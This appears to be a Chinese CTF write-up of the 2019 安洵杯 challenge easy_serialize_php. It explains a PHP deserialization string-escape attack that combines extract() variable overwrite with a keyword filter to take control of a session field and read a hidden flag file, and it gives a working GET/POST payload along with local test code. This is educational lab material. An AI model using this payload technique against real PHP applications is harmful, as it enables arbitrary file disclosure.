【安洵杯 2019】easy_serialize_php

还是先挂着参考文章

简单分析

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);//将名单中的字符串替换为空【字符串减少造成逃逸】
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);//变量覆盖,将_SESSION[user]、_SESSION[function]作为变量名,反序列化入口

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){//无论$_GET['img_path']存不存在,$_SESSION['img']的值都是我们不可控的
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));//过滤

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //根据提示,在phpinfo中的auto_append_file上面找到d0g3_f1ag.php
}else if($function == 'show_image'){//$_GET['f'];的值为show_image才执行下面的反序列化
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}  //$_SESSION['img']的值是我们要读取的文件名,但它的值我们不可控,所以要构造字符串逃逸,使$_SESSION['img']的值可控

构造逃逸

<?php
//本地测试
$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

$_SESSION["user"] = '';
$_SESSION['function'] ='Y';
$_SESSION['img']="ZDBnM19mMWFnLnBocA==";
//ZDBnM19mMWFnLnBocA==是base64编码后的d0g3_f1ag.php
extract($_POST);

$serialize_info = filter(serialize($_SESSION));
echo $serialize_info;
//结果
a:3:{s:4:"user";s:0:"";s:8:"function";s:1:"Y";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

其中";s:8:“function”;s:1:"Y是要被吞掉字符串,共24位,24/3=8,也就是需要8个php

";s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}是要通过逃逸添加进去的字符串

payload:

GET:?f=show_image
POST:_SESSION[user]=phpphpphpphpphpphpphpphp&_SESSION[function]=Y";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"test";s:4:"test";}

需要在后面添加一个属性,保障能正常反序列化 然后右键源码找到真的flag文件,将其base64编码后替换原本的ZDBnM19mMWFnLnBocA==即可(两者长度都是20位,所以可以直接替换)

本地验证:

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

$_SESSION["user"]='phpphpphpphpphpphpphpphp';
$_SESSION['function'] ='Y";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']="XXX";

extract($_POST);

$serialize_info = (serialize($_SESSION));
echo $serialize_info;
过滤前:
a:3:{s:4:"user";s:24:"phpphpphpphpphpphpphpphp";s:8:"function";s:42:"Y";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:3:"XXX";}

过滤后:
a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"Y";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:3:"XXX";}

过滤前的8个php是user的值,过滤后8个php被替换为空,但user的长度24没有改变,所以user会往右边“吞噬”24个字符,将其作为自身的值。

所以";s:8:“function”;s:1:“Y变成了user的值,而”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}闭合前后,将原本的img取而代之,成功通过字符串逃逸控制$_SESSION[‘img’]的值

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值